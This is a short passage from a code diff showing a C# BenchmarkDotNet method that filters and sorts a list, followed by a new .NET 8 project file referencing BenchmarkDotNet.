[Benchmark]
public int[] Where_OrderByDescending()
{
return _list.Where(i => i % 2 == 0).OrderByDescending(i => i).ToArray();
}
}

View File

@ -0,0 +1,15 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E043_AllNumericExceptBenchmarks</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="BenchmarkDotNet" Version="0.13.12"/>
</ItemGroup>
</Project>

Some files were not shown because too many files have changed in this diff Show More